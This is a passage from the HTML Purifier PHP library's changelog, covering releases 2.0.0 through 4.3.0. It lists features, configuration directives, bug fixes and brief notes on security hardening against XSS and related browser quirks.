output truncated after around 8000 characters. Thanks Jörg Ludwig
<joerg.ludwig@iserv.eu> for reporting.
- Fix broken table content model for XHTML1.1 (and also earlier
versions, although the W3C validator doesn't catch those violations).
Thanks GlitchMr <glitch.mr@gmail.com> for reporting.
4.3.0, released 2011-03-27
# Fixed broken caching of customized raw definitions, but requires an
API change. The old API still works but will emit a warning,
see http://htmlpurifier.org/docs/enduser-customize.html#optimized
for how to upgrade your code.
# Protect against Internet Explorer innerHTML behavior by specially
treating attributes with backticks but no angled brackets, quotes or
spaces. This constitutes a slight semantic change, which can be
reverted using %Output.FixInnerHTML. Reported by Neike Taika-Tessaro
and Mario Heiderich.
# Protect against cssText/innerHTML by restricting allowed characters
used in fonts further than mandated by the specification and encoding
some extra special characters in URLs. Reported by Neike
Taika-Tessaro and Mario Heiderich.
! Added %HTML.Nofollow to add rel="nofollow" to external links.
! More types of SPL autoloaders allowed on later versions of PHP.
! Implementations for position, top, left, right, bottom, z-index
when %CSS.Trusted is on.
! Add %Cache.SerializerPermissions option for custom serializer
directory/file permissions
! Fix longstanding bug in Flash support for non-IE browsers, and
allow more wmode attributes.
! Add %CSS.AllowedFonts to restrict permissible font names.
- Switch to an iterative traversal of the DOM, which prevents us
from running out of stack space for deeply nested documents.
Thanks Maxim Krizhanovsky for contributing a patch.
- Make removal of conditional IE comments ungreedy; thanks Bernd
for reporting.
- Escape CDATA before removing Internet Explorer comments.
- Fix removal of id attributes under certain conditions by ensuring
armor attributes are preserved when recreating tags.
- Check if schema.ser was corrupted.
- Check if zend.ze1_compatibility_mode is on, and error out if it is.
This safety check is only done for HTMLPurifier.auto.php; if you
are using standalone or the specialized includes files, you're
expected to know what you're doing.
- Stop repeatedly writing the cache file after I'm done customizing a
raw definition. Reported by ajh.
- Switch to using require_once in the Bootstrap to work around bad
interaction with Zend Debugger and APC. Reported by Antonio Parraga.
- Fix URI handling when hostname is missing but scheme is present.
Reported by Neike Taika-Tessaro.
- Fix missing numeric entities on DirectLex; thanks Neike Taika-Tessaro
for reporting.
- Fix harmless notice from indexing into empty string. Thanks Matthijs
Kooijman <matthijs@stdin.nl> for reporting.
- Don't autoclose no parent elements are able to support the element
that triggered the autoclose. In particular fixes strange behavior
of stray <li> tags. Thanks pkuliga@gmail.com for reporting and
Neike Taika-Tessaro <pinkgothic@gmail.com> for debugging assistance.
4.2.0, released 2010-09-15
! Added %Core.RemoveProcessingInstructions, which lets you remove
<? ... ?> statements.
! Added %URI.DisableResources functionality; the directive originally
did nothing. Thanks David Rothstein for reporting.
! Add documentation about configuration directive types.
! Add %CSS.ForbiddenProperties configuration directive.
! Add %HTML.FlashAllowFullScreen to permit embedded Flash objects
to utilize full-screen mode.
! Add optional support for the <code>file</code> URI scheme, enable
by explicitly setting %URI.AllowedSchemes.
! Add %Core.NormalizeNewlines options to allow turning off newline
normalization.
- Fix improper handling of Internet Explorer conditional comments
by parser. Thanks zmonteca for reporting.
- Fix missing attributes bug when running on Mac Snow Leopard and APC.
Thanks sidepodcast for the fix.
- Warn if an element is allowed, but an attribute it requires is
not allowed.
4.1.1, released 2010-05-31
- Fix undefined index warnings in maintenance scripts.
- Fix bug in DirectLex for parsing elements with a single attribute
with entities.
- Rewrite CSS output logic for font-family and url(). Thanks Mario
Heiderich <mario.heiderich@googlemail.com> for reporting and Takeshi
Terada <t-terada@violet.plala.or.jp> for suggesting the fix.
- Emit an error for CollectErrors if a body is extracted
- Fix bug where in background-position for center keyword handling.
- Fix infinite loop when a wrapper element is inserted in a context
where it's not allowed. Thanks Lars <lars@renoz.dk> for reporting.
- Remove +x bit and shebang from index.php; only supported mode is to
explicitly call it with php.
- Make test script less chatty when log_errors is on.
4.1.0, released 2010-04-26
! Support proprietary height attribute on table element
! Support YouTube slideshows that contain /cp/ in their URL.
! Support for data: URI scheme; not enabled by default, add it using
%URI.AllowedSchemes
! Support flashvars when using %HTML.SafeObject and %HTML.SafeEmbed.
! Support for Internet Explorer compatibility with %HTML.SafeObject
using %Output.FlashCompat.
! Handle <ol><ol> properly, by inserting the necessary <li> tag.
- Always quote the insides of url(...) in CSS.
4.0.0, released 2009-07-07
# APIs for ConfigSchema subsystem have substantially changed. See
docs/dev-config-bcbreaks.txt for details; in essence, anything that
had both namespace and directive now have a single unified key.
# Some configuration directives were renamed, specifically:
%AutoFormatParam.PurifierLinkifyDocURL -> %AutoFormat.PurifierLinkify.DocURL
%FilterParam.ExtractStyleBlocksEscaping -> %Filter.ExtractStyleBlocks.Escaping
%FilterParam.ExtractStyleBlocksScope -> %Filter.ExtractStyleBlocks.Scope
%FilterParam.ExtractStyleBlocksTidyImpl -> %Filter.ExtractStyleBlocks.TidyImpl
As usual, the old directive names will still work, but will throw E_NOTICE
errors.
# The allowed values for class have been relaxed to allow all of CDATA for
doctypes that are not XHTML 1.1 or XHTML 2.0. For old behavior, set
%Attr.ClassUseCDATA to false.
# Instead of appending the content model to an old content model, a blank
element will replace the old content model. You can use #SUPER to get
the old content model.
! More robust support for name="" and id=""
! HTMLPurifier_Config::inherit($config) allows you to inherit one
configuration, and have changes to that configuration be propagated
to all of its children.
! Implement %HTML.Attr.Name.UseCDATA, which relaxes validation rules on
the name attribute when set. Use with care. Thanks Ian Cook for
sponsoring.
! Implement %AutoFormat.RemoveEmpty.RemoveNbsp, which removes empty
tags that contain non-breaking spaces as well other whitespace. You
can also modify which tags should have maintained with
%AutoFormat.RemoveEmpty.RemoveNbsp.Exceptions.
! Implement %Attr.AllowedClasses, which allows administrators to restrict
classes users can use to a specified finite set of classes, and
%Attr.ForbiddenClasses, which is the logical inverse.
! You can now maintain your own configuration schema directories by
creating a config-schema.php file or passing an extra argument. Check
docs/dev-config-schema.html for more details.
! Added HTMLPurifier_Config->serialize() method, which lets you save away
your configuration in a compact serial file, which you can unserialize
and use directly without having to go through the overhead of setup.
- Fix bug where URIDefinition would not get cleared if it's directives got
changed.
- Fix fatal error in HTMLPurifier_Encoder on certain platforms (probably NetBSD 5.0)
- Fix bug in Linkify autoformatter involving <a><span>http://foo</span></a>
- Make %URI.Munge not apply to links that have the same host as your host.
- Prevent stray </body> tag from truncating output, if a second </body>
is present.
. Created script maintenance/rename-config.php for renaming a configuration
directive while maintaining its alias. This script does not change source code.
. Implement namespace locking for definition construction, to prevent
bugs where a directive is used for definition construction but is not
used to construct the cache hash.
3.3.0, released 2009-02-16
! Implement CSS property 'overflow' when %CSS.AllowTricky is true.
! Implement generic property list classess
- Fix bug with testEncodingSupportsASCII() algorithm when iconv() implementation
does not do the "right thing" with characters not supported in the output
set.
- Spellcheck UTF-8: The Secret To Character Encoding
- Fix improper removal of the contents of elements with only whitespace. Thanks
Eric Wald for reporting.
- Fix broken test suite in versions of PHP without spl_autoload_register()
- Fix degenerate case with YouTube filter involving double hyphens.
Thanks Pierre Attar for reporting.
- Fix YouTube rendering problem on certain versions of Firefox.
- Fix CSSDefinition Printer problems with decorators
- Add text parameter to unit tests, forces text output
. Add verbose mode to command line test runner, use (--verbose)
. Turn on unit tests for UnitConverter
. Fix missing version number in configuration %Attr.DefaultImageAlt (added 3.2.0)
. Fix newline errors that caused spurious failures when CRLF HTML Purifier was
tested on Linux.
. Removed trailing whitespace from all text files, see
remote-trailing-whitespace.php maintenance script.
. Convert configuration to use property list backend.
3.2.0, released 2008-10-31
# Using %Core.CollectErrors forces line number/column tracking on, whereas
previously you could theoretically turn it off.
# HTMLPurifier_Injector->notifyEnd() is formally deprecated. Please
use handleEnd() instead.
! %Output.AttrSort for when you need your attributes in alphabetical order to
deal with a bug in FCKEditor. Requested by frank farmer.
! Enable HTML comments when %HTML.Trusted is on. Requested by Waldo Jaquith.
! Proper support for name attribute. It is now allowed and equivalent to the id
attribute in a and img tags, and is only converted to id when %HTML.TidyLevel
is heavy (for all doctypes).
! %AutoFormat.RemoveEmpty to remove some empty tags from documents. Please don't
use on hand-written HTML.
! Add error-cases for unsupported elements in MakeWellFormed. This enables
the strategy to be used, standalone, on untrusted input.
! %Core.AggressivelyFixLt is on by default. This causes more sensible
processing of left angled brackets in smileys and other whatnot.
! Test scripts now have a 'type' parameter, which lets you say 'htmlpurifier',
'phpt', 'vtest', etc. in order to only execute those tests. This supercedes
the --only-phpt parameter, although for backwards-compatibility the flag
will still work.
! AutoParagraph auto-formatter will now preserve double-newlines upon output.
Users who are not performing inbound filtering, this may seem a little
useless, but as a bonus, the test suite and handling of edge cases is also
improved.
! Experimental implementation of forms for %HTML.Trusted
! Track column numbers when maintain line numbers is on
! Proprietary 'background' attribute on table-related elements converted into
corresponding CSS. Thanks Fusemail for sponsoring this feature!
! Add forward(), forwardUntilEndToken(), backward() and current() to Injector
supertype.
! HTMLPurifier_Injector->handleEnd() permits modification to end tokens. The
time of operation varies slightly from notifyEnd() as *all* end tokens are
processed by the injector before they are subject to the well-formedness rules.
! %Attr.DefaultImageAlt allows overriding default behavior of setting alt to
basename of image when not present.
! %AutoFormat.DisplayLinkURI neuters <a> tags into plain text URLs.
- Fix two bugs in %URI.MakeAbsolute; one involving empty paths in base URLs,
the other involving an undefined $is_folder error.
- Throw error when %Core.Encoding is set to a spurious value. Previously,
this errored silently and returned false.
- Redirected stderr to stdout for flush error output.
- %URI.DisableExternal will now use the host in %URI.Base if %URI.Host is not
available.
- Do not re-munge URL if the output URL has the same host as the input URL.
Requested by Chris.
- Fix error in documentation regarding %Filter.ExtractStyleBlocks
- Prevent <![CDATA[<body></body>]]> from triggering %Core.ConvertDocumentToFragment
- Fix bug with inline elements in blockquotes conflicting with strict doctype
- Detect if HTML support is disabled for DOM by checking for loadHTML() method.
- Fix bug where dots and double-dots in absolute URLs without hostname were
not collapsed by URIFilter_MakeAbsolute.
- Fix bug with anonymous modules operating on SafeEmbed or SafeObject elements
by reordering their addition.
- Will now throw exception on many error conditions during lexer creation; also
throw an exception when MaintainLineNumbers is true, but a non-tracksLineNumbers
is being used.
- Detect if domxml extension is loaded, and use DirectLEx accordingly.
- Improve handling of big numbers with floating point arithmetic in UnitConverter.
Reported by David Morton.
. Strategy_MakeWellFormed now operates in-place, saving memory and allowing
for more interesting filter-backtracking
. New HTMLPurifier_Injector->rewind() functionality, allows injectors to rewind
index to reprocess tokens.
. StringHashParser now allows for multiline sections with "empty" content;
previously the section would remain undefined.
. Added --quick option to multitest.php, which tests only the most recent
release for each series.
. Added --distro option to multitest.php, which accepts either 'normal' or
'standalone'. This supercedes --exclude-normal and --exclude-standalone
3.1.1, released 2008-06-19
# %URI.Munge now, by default, does not munge resources (for example, <img src="">)
In order to enable this again, please set %URI.MungeResources to true.
! More robust imagecrash protection with height/width CSS with %CSS.MaxImgLength,
and height/width HTML with %HTML.MaxImgLength.
! %URI.MungeSecretKey for secure URI munging. Thanks Chris
for sponsoring this feature. Check out the corresponding documentation
for details. (Att Nightly testers: The API for this feature changed before
the general release. Namely, rename your directives %URI.SecureMungeSecretKey =>
%URI.MungeSecretKey and and %URI.SecureMunge => %URI.Munge)
! Implemented post URI filtering. Set member variable $post to true to set
a URIFilter as such.
! Allow modules to define injectors via $info_injector. Injectors are
automatically disabled if injector's needed elements are not found.
! Support for "safe" objects added, use %HTML.SafeObject and %HTML.SafeEmbed.
Thanks Chris for sponsoring. If you've been using ad hoc code from the
forums, PLEASE use this instead.
! Added substitutions for %e, %n, %a and %p in %URI.Munge (in order,
embedded, tag name, attribute name, CSS property name). See %URI.Munge
for more details. Requested by Jochem Blok.
- Disable percent height/width attributes for img.
- AttrValidator operations are now atomic; updates to attributes are not
manifest in token until end of operations. This prevents naughty internal
code from directly modifying CurrentToken when they're not supposed to.
This semantics change was requested by frank farmer.
- Percent encoding checks enabled for URI query and fragment
- Fix stray backslashes in font-family; CSS Unicode character escapes are
now properly resolved (although *only* in font-family). Thanks Takeshi Terada
for reporting.
- Improve parseCDATA algorithm to take into account newline normalization
- Account for browser confusion between Yen character and backslash in
Shift_JIS encoding. This fix generalizes to any other encoding which is not
a strict superset of printable ASCII. Thanks Takeshi Terada for reporting.
- Fix missing configuration parameter in Generator calls. Thanks vs for the
partial patch.
- Improved adherence to Unicode by checking for non-character codepoints.
Thanks Geoffrey Sneddon for reporting. This may result in degraded
performance for extremely large inputs.
- Allow CSS property-value pair ''text-decoration: none''. Thanks Jochem Blok
for reporting.
. Added HTMLPurifier_UnitConverter and HTMLPurifier_Length for convenient
handling of CSS-style lengths. HTMLPurifier_AttrDef_CSS_Length now uses
this class.
. API of HTMLPurifier_AttrDef_CSS_Length changed from __construct($disable_negative)
to __construct($min, $max). __construct(true) is equivalent to
__construct('0').
. Added HTMLPurifier_AttrDef_Switch class
. Rename HTMLPurifier_HTMLModule_Tidy->construct() to setup() and bubble method
up inheritance hierarchy to HTMLPurifier_HTMLModule. All HTMLModules
get this called with the configuration object. All modules now
use this rather than __construct(), although legacy code using constructors
will still work--the new format, however, lets modules access the
configuration object for HTML namespace dependant tweaks.
. AttrDef_HTML_Pixels now takes a single construction parameter, pixels.
. ConfigSchema data-structure heavily optimized; on average it uses a third
the memory it did previously. The interface has changed accordingly,
consult changes to HTMLPurifier_Config for details.
. Variable parsing types now are magic integers instead of strings
. Added benchmark for ConfigSchema
. HTMLPurifier_Generator requires $config and $context parameters. If you
don't know what they should be, use HTMLPurifier_Config::createDefault()
and new HTMLPurifier_Context().
. Printers now properly distinguish between output configuration, and
target configuration. This is not applicable to scripts using
the Printers for HTML Purifier related tasks.
. HTML/CSS Printers must be primed with prepareGenerator($gen_config), otherwise
fatal errors will ensue.
. URIFilter->prepare can return false in order to abort loading of the filter
. Factory for AttrDef_URI implemented, URI#embedded to indicate URI that embeds
an external resource.
. %URI.Munge functionality factored out into a post-filter class.
. Added CurrentCSSProperty context variable during CSS validation
3.1.0, released 2008-05-18
# Unnecessary references to objects (vestiges of PHP4) removed from method
signatures. The following methods do not need references when assigning from
them and will result in E_STRICT errors if you try:
+ HTMLPurifier_Config->get*Definition() [* = HTML, CSS]
+ HTMLPurifier_ConfigSchema::instance()
+ HTMLPurifier_DefinitionCacheFactory::instance()
+ HTMLPurifier_DefinitionCacheFactory->create()
+ HTMLPurifier_DoctypeRegistry->register()
+ HTMLPurifier_DoctypeRegistry->get()
+ HTMLPurifier_HTMLModule->addElement()
+ HTMLPurifier_HTMLModule->addBlankElement()
+ HTMLPurifier_LanguageFactory::instance()
# Printer_ConfigForm's get*() functions were static-ified
# %HTML.ForbiddenAttributes requires attribute declarations to be in the
form of tag@attr, NOT tag.attr (which will throw an error and won't do
anything). This is for forwards compatibility with XML; you'd do best
to migrate an %HTML.AllowedAttributes directives to this syntax too.
! Allow index to be false for config from form creation
! Added HTMLPurifier::VERSION constant
! Commas, not dashes, used for serializer IDs. This change is forwards-compatible
and allows for version numbers like "3.1.0-dev".
! %HTML.Allowed deals gracefully with whitespace anywhere, anytime!
! HTML Purifier's URI handling is a lot more robust, with much stricter
validation checks and better percent encoding handling. Thanks Gareth Heyes
for indicating security vulnerabilities from lax percent encoding.
! Bootstrap autoloader deals more robustly with classes that don't exist,
preventing class_exists($class, true) from barfing.
- InterchangeBuilder now alphabetizes its lists
- Validation error in configdoc output fixed
- Iconv and other encoding errors muted even with custom error handlers that
do not honor error_reporting
- Add protection against imagecrash attack with CSS height/width
- HTMLPurifier::instance() created for consistency, is equivalent to getInstance()
- Fixed and revamped broken ConfigForm smoketest
- Bug with bool/null fields in Printer_ConfigForm fixed
- Bug with global forbidden attributes fixed
- Improved error messages for allowed and forbidden HTML elements and attributes
- Missing (or null) in configdoc documentation restored
- If DOM throws and exception during parsing with PH5P (occurs in newer versions
of DOM), HTML Purifier punts to DirectLex
- Fatal error with unserialization of ScriptRequired
- Created directories are now chmod'ed properly
- Fixed bug with fallback languages in LanguageFactory
- Standalone testing setup properly with autoload
. Out-of-date documentation revised
. UTF-8 encoding check optimization as suggested by Diego
. HTMLPurifier_Error removed in favor of exceptions
. More copy() function removed; should use clone instead
. More extensive unit tests for HTMLDefinition
. assertPurification moved to central harness
. HTMLPurifier_Generator accepts $config and $context parameters during
instantiation, not runtime
. Double-quotes outside of attribute values are now unescaped
3.1.0rc1, released 2008-04-22
# Autoload support added. Internal require_once's removed in favor of an
explicit require list or autoloading. To use HTML Purifier,
you must now either use HTMLPurifier.auto.php
or HTMLPurifier.includes.php; setting the include path and including
HTMLPurifier.php is insufficient--in such cases include HTMLPurifier.autoload.php
as well to register our autoload handler (or modify your autoload function
to check HTMLPurifier_Bootstrap::getPath($class)). You can also use
HTMLPurifier.safe-includes.php for a less performance friendly but more
user-friendly library load.
# HTMLPurifier_ConfigSchema static functions are officially deprecated. Schema
information is stored in the ConfigSchema directory, and the
maintenance/generate-schema-cache.php generates the schema.ser file, which
is now instantiated. Support for userland schema changes coming soon!
# HTMLPurifier_Config will now throw E_USER_NOTICE when you use a directive
alias; to get rid of these errors just modify your configuration to use
the new directive name.
# HTMLPurifier->addFilter is deprecated; built-in filters can now be
enabled using %Filter.$filter_name or by setting your own filters using
%Filter.Custom
# Directive-level safety properties superceded in favor of module-level
safety. Internal method HTMLModule->addElement() has changed, although
the externally visible HTMLDefinition->addElement has *not* changed.
! Extra utility classes for testing and non-library operations can
be found in extras/. Specifically, these are FSTools and ConfigDoc.
You may find a use for these in your own project, but right now they
are highly experimental and volatile.
! Integration with PHPT allows for automated smoketests
! Limited support for proprietary HTML elements, namely <marquee>, sponsored
by Chris. You can enable them with %HTML.Proprietary if your client
demands them.
! Support for !important CSS cascade modifier. By default, this will be stripped
from CSS, but you can enable it using %CSS.AllowImportant
! Support for display and visibility CSS properties added, set %CSS.AllowTricky
to true to use them.
! HTML Purifier now has its own Exception hierarchy under HTMLPurifier_Exception.
Developer error (not enduser error) can cause these to be triggered.
! Experimental kses() wrapper introduced with HTMLPurifier.kses.php
! Finally %CSS.AllowedProperties for tweaking allowed CSS properties without
mucking around with HTMLPurifier_CSSDefinition
! ConfigDoc output has been enhanced with version and deprecation info.
! %HTML.ForbiddenAttributes and %HTML.ForbiddenElements implemented.
- Autoclose now operates iteratively, i.e. <span><span><div> now has
both span tags closed.
- Various HTMLPurifier_Config convenience functions now accept another parameter
$schema which defines what HTMLPurifier_ConfigSchema to use besides the
global default.
- Fix bug with trusted script handling in libxml versions later than 2.6.28.
- Fix bug in ExtractStyleBlocks with comments in style tags
- Fix bug in comment parsing for DirectLex
- Flush output now displayed when in command line mode for unit tester
- Fix bug with rgb(0, 1, 2) color syntax with spaces inside shorthand syntax
- HTMLPurifier_HTMLDefinition->addAttribute can now be called multiple times
on the same element without emitting errors.
- Fixed fatal error in PH5P lexer with invalid tag names
. Plugins now get their own changelogs according to project conventions.
. Convert tokens to use instanceof, reducing memory footprint and
improving comparison speed.
. Dry runs now supported in SimpleTest; testing facilities improved
. Bootstrap class added for handling autoloading functionality
. Implemented recursive glob at FSTools->globr
. ConfigSchema now has instance methods for all corresponding define*
static methods.
. A couple of new historical maintenance scripts were added.
. HTMLPurifier/HTMLModule/Tidy/XHTMLAndHTML4.php split into two files
. tests/index.php can now be run from any directory.
. HTMLPurifier_Token subclasses split into seperate files
. HTMLPURIFIER_PREFIX now is defined in Bootstrap.php, NOT HTMLPurifier.php
. HTMLPURIFIER_PREFIX can now be defined outside of HTML Purifier
. New --php=php flag added, allows PHP executable to be specified (command
line only!)
. htmlpurifier_add_test() preferred method to translate test files in to
classes, because it handles PHPT files too.
. Debugger class is deprecated and will be removed soon.
. Command line argument parsing for testing scripts revamped, now --opt value
format is supported.
. Smoketests now cleanup after magic quotes
. Generator now can output comments (however, comments are still stripped
from HTML Purifier output)
. HTMLPurifier_ConfigSchema->validate() deprecated in favor of
HTMLPurifier_VarParser->parse()
. Integers auto-cast into float type by VarParser.
. HTMLPURIFIER_STRICT removed; no validation is performed on runtime, only
during cache generation
. Reordered script calls in maintenance/flush.php
. Command line scripts now honor exit codes
. When --flush fails in unit testers, abort tests and print message
. Improved documentation in docs/dev-flush.html about the maintenance scripts
. copy() methods removed in favor of clone keyword
3.0.0, released 2008-01-06
# HTML Purifier is PHP 5 only! The 2.1.x branch will be maintained
until PHP 4 is completely deprecated, but no new features will be added
to it.
+ Visibility declarations added
+ Constructor methods renamed to __construct()
+ PHP4 reference cruft removed (in progress)
! CSS properties are now case-insensitive
! DefinitionCacheFactory now can register new implementations
! New HTMLPurifier_Filter_ExtractStyleBlocks for extracting <style> from
documents and cleaning their contents up. Requires the CSSTidy library
<http://csstidy.sourceforge.net/>. You can access the blocks with the
'StyleBlocks' Context variable ($purifier->context->get('StyleBlocks')).
The output CSS can also be "scoped" for a specific element, use:
%Filter.ExtractStyleBlocksScope
! Experimental support for some proprietary CSS attributes allowed:
opacity (and all of the browser-specific equivalents) and scrollbar colors.
Enable by setting %CSS.Proprietary to true.
- Colors missing # but in hex form will be corrected
- CSS Number algorithm improved
- Unit testing and multi-testing now on steroids: command lines,
XML output, and other goodies now added.
. Unit tests for Injector improved
. New classes:
+ HTMLPurifier_AttrDef_CSS_AlphaValue
+ HTMLPurifier_AttrDef_CSS_Filter
. Multitest now has a file docblock
2.1.3, released 2007-11-05
! tests/multitest.php allows you to test multiple versions by running
tests/index.php through multiple interpreters using `phpv` shell
script (you must provide this script!)
- Fixed poor include ordering for Email URI AttrDefs, causes fatal errors
on some systems.
- Injector algorithm further refined: off-by-one error regarding skip
counts for dormant injectors fixed
- Corrective blockquote definition now enabled for HTML 4.01 Strict
- Fatal error when <img> tag (or any other element with required attributes)
has 'id' attribute fixed, thanks NykO18 for reporting
- Fix warning emitted when a non-supported URI scheme is passed to the
MakeAbsolute URIFilter, thanks NykO18 (again)
- Further refine AutoParagraph injector. Behavior inside of elements
allowing paragraph tags clarified: only inline content delimeted by
double newlines (not block elements) are paragraphed.
- Buggy treatment of end tags of elements that have required attributes
fixed (does not manifest on default tag-set)
- Spurious internal content reorganization error suppressed
- HTMLDefinition->addElement now returns a reference to the created
element object, as implied by the documentation
- Phorum mod's HTML Purifier help message expanded (unreleased elsewhere)
- Fix a theoretical class of infinite loops from DirectLex reported
by Nate Abele
- Work around unnecessary DOMElement type-cast in PH5P that caused errors
in PHP 5.1
- Work around PHP 4 SimpleTest lack-of-error complaining for one-time-only
HTMLDefinition errors, this may indicate problems with error-collecting
facilities in PHP 5
- Make ErrorCollectorEMock work in both PHP 4 and PHP 5
- Make PH5P work with PHP 5.0 by removing unnecessary array parameter typedef
. %Core.AcceptFullDocuments renamed to %Core.ConvertDocumentToFragment
to better communicate its purpose
. Error unit tests can now specify the expectation of no errors. Future
iterations of the harness will be extremely strict about what errors
are allowed
. Extend Injector hooks to allow for more powerful injector routines
. HTMLDefinition->addBlankElement created, as according to the HTMLModule
method
. Doxygen configuration file updated, with minor improvements
. Test runner now checks for similarly named files in conf/ directory too.
. Minor cosmetic change to flush-definition-cache.php: trailing newline is
outputted
. Maintenance script for generating PH5P patch added, original PH5P source
file also added under version control
. Full unit test runner script title made more descriptive with PHP version
. Updated INSTALL file to state that 4.3.7 is the earliest version we
are actively testing
2.1.2, released 2007-09-03
! Implemented Object module for trusted users
! Implemented experimental HTML5 parsing mode using PH5P. To use, add
this to your code:
require_once 'HTMLPurifier/Lexer/PH5P.php';
$config->set('Core', 'LexerImpl', 'PH5P');
Note that this Lexer introduces some classes not in the HTMLPurifier
namespace. Also, this is PHP5 only.
! CSS property border-spacing implemented
- Fix non-visible parsing error in DirectLex with empty tags that have
slashes inside attribute values.
- Fix typo in CSS definition: border-collapse:seperate; was incorrectly
accepted as valid CSS. Usually non-visible, because this styling is the
default for tables in most browsers. Thanks Brett Zamir for pointing
this out.
- Fix validation errors in configuration form
- Hammer out a bunch of edge-case bugs in the standalone distribution
- Inclusion reflection removed from URISchemeRegistry; you must manually
include any new schema files you wish to use
- Numerous typo fixes in documentation thanks to Brett Zamir
. Unit test refactoring for one logical test per test function
. Config and context parameters in ComplexHarness deprecated: instead, edit
the $config and $context member variables
. HTML wrapper in DOMLex now takes DTD identifiers into account; doesn't
really make a difference, but is good for completeness sake
. merge-library.php script refactored for greater code reusability and
PHP4 compatibility
2.1.1, released 2007-08-04
- Fix show-stopper bug in %URI.MakeAbsolute functionality
- Fix PHP4 syntax error in standalone version
. Add prefix directory to include path for standalone, this prevents
other installations from clobbering the standalone's URI schemes
. Single test methods can be invoked by prefixing with __only
2.1.0, released 2007-08-02
# flush-htmldefinition-cache.php superseded in favor of a generic
flush-definition-cache.php script, you can clear a specific cache
by passing its name as a parameter to the script
! Phorum mod implemented for HTML Purifier
! With %Core.AggressivelyFixLt, <3 and similar emoticons no longer
trigger HTML removal in PHP5 (DOMLex). This directive is not necessary
for PHP4 (DirectLex).
! Standalone file now available, which greatly reduces the amount of
includes (although there are still a few files that reside in the
standalone folder)
! Relative URIs can now be transformed into their absolute equivalents
using %URI.Base and %URI.MakeAbsolute
! Ruby implemented for XHTML 1.1
! You can now define custom URI filtering behavior, see enduser-uri-filter.html
for more details
! UTF-8 font names now supported in CSS
- AutoFormatters emit friendly error messages if tags or attributes they
need are not allowed
- ConfigForm's compactification of directive names is now configurable
- AutoParagraph autoformatter algorithm refined after field-testing
- XHTML 1.1 now applies XHTML 1.0 Strict cleanup routines, namely
blockquote wrapping
- Contents of <style> tags removed by default when tags are removed
. HTMLPurifier_Config->getSerial() implemented, this is extremely useful
for output cache invalidation
. ConfigForm printer now can retrieve CSS and JS files as strings, in
case HTML Purifier's directory is not publically accessible
. Introduce new text/itext configuration directive values: these represent
longer strings that would be more appropriately edited with a textarea
. Allow newlines to act as separators for lists, hashes, lookups and
%HTML.Allowed
. ConfigForm generates textareas instead of text inputs for lists, hashes,
lookups, text and itext fields
. Hidden element content removal genericized: %Core.HiddenElements can
be used to customize this behavior, by default <script> and <style> are
hidden
. Added HTMLPURIFIER_PREFIX constant, should be used instead of dirname(__FILE__)
. Custom ChildDef added to default include list
. URIScheme reflection improved: will not attempt to include file if class
already exists. May clobber autoload, so I need to keep an eye on it
. ConfigSchema heavily optimized, will only collect information and validate
definitions when HTMLPURIFIER_SCHEMA_STRICT is true.
. AttrDef_URI unit tests and implementation refactored
. benchmarks/ directory now protected from public view with .htaccess file;
run the tests via command line
. URI scheme is munged off if there is no authority and the scheme is the
default one
. All unit tests inherit from HTMLPurifier_Harness, not UnitTestCase
. Interface for URIScheme changed
. Generic URI object to hold components of URI added, most systems involved
in URI validation have been migrated to use it
. Custom filtering for URIs factored out to URIDefinition interface for
maximum extensibility
2.0.1, released 2007-06-27
! Tag auto-closing now based on a ChildDef heuristic rather than a
manually set auto_close array; some behavior may change
! Experimental AutoFormat functionality added: auto-paragraph and
linkify your HTML input by setting %AutoFormat.AutoParagraph and
%AutoFormat.Linkify to true
! Newlines normalized internally, and then converted back to the
value of PHP_EOL. If this is not desired, set your newline format
using %Output.Newline.
! Beta error collection, messages are implemented for the most generic
cases involving Lexing or Strategies
- Clean up special case code for <script> tags
- Reorder includes for DefinitionCache decorators, fixes a possible
missing class error
- Fixed bug where manually modified definitions were not saved via cache
(mostly harmless, except for the fact that it would be a little slower)
- Configuration objects with different serials do not clobber each
others when revision numbers are unequal
- Improve Serializer DefinitionCache directory permissions checks
- DefinitionCache no longer throws errors when it encounters old
serial files that do not conform to the current style
- Stray xmlns attributes removed from configuration documentation
- configForm.php smoketest no longer has XSS vulnerability due to
unescaped print_r output
- Printer adheres to configuration's directives on output format
- Fix improperly named form field in ConfigForm printer
. Rewire some test-cases to swallow errors rather than expect them
. HTMLDefinition printer updated with some of the new attributes
. DefinitionCache keys reordered to reflect precedence: version number,
hash, then revision number
. %Core.DefinitionCache renamed to %Cache.DefinitionImpl
. Interlinking in configuration documentation added using
Injector_PurifierLinkify
. Directives now keep track of aliases to themselves
. Error collector now requires a severity to be passed, use PHP's internal
error constants for this
. HTMLPurifier_Config::getAllowedDirectivesForForm implemented, allows
much easier selective embedding of configuration values
. Doctype objects now accept public and system DTD identifiers
. %HTML.Doctype is now constrained by specific values, to specify a custom
doctype use new %HTML.CustomDoctype
. ConfigForm truncates long directives to keep the form small, and does
not re-output namespaces
2.0.0, released 2007-06-20
# Completely refactored HTMLModuleManager, decentralizing safety
information
# Transform modules changed to Tidy modules, which offer more flexibility
and better modularization
# Configuration object now finalizes itself when a read operation is
performed on it, ensuring that its internal state stays consistent.
To revert this behavior, you can set the $autoFinalize member variable
off, but it's not recommended.
# New compact syntax for AttrDef objects that can be used to instantiate
new objects via make()
# Definitions (esp. HTMLDefinition) are now cached for a significant
performance boost. You can disable caching by setting %Core.DefinitionCache
to null. You CANNOT edit raw definitions without setting the corresponding
DefinitionID directive (%HTML.DefinitionID for HTMLDefinition).
# Contents between <script> tags are now completely removed if <script>
is not allowed
# Prototype-declarations for Lexer removed in favor of configuration
determination of Lexer implementations.
! HTML Purifier now works in PHP 4.3.2.
! Configuration form-editing API makes tweaking HTMLPurifier_Config a
breeze!
! Configuration directives that accept hashes now allow new string
format: key1:value1,key2:value2
! ConfigDoc now factored into OOP design
! All deprecated elements now natively supported
! Implement TinyMCE styled whitelist specification format in
%HTML.Allowed
! Config object gives more friendly error messages when things go wrong
! Advanced API implemented: easy functions for creating elements (addElement)
and attributes (addAttribute) on HTMLDefinition
! Add native support for required attributes
- Deprecated and removed EnableRedundantUTF8Cleaning. It didn't even work!
- DOMLex will not emit errors when a custom error handler that does not
honor error_reporting is used
- StrictBlockquote child definition refrains from wrapping whitespace
in tags now.
- Bug resulting from tag transforms to non-allowed elements fixed
- ChildDef_Custom's regex generation has been improved, removing several
false positives
. Unit test for ElementDef created, ElementDef behavior modified to
be more flexible
. Added convenience functions for HTMLModule constructors
. AttrTypes now has accessor functions that should be used instead
of directly manipulating info
. TagTransform_Center deprecated in favor of generic TagTransform_Simple
. Add extra protection in AttrDef_URI against phantom Schemes
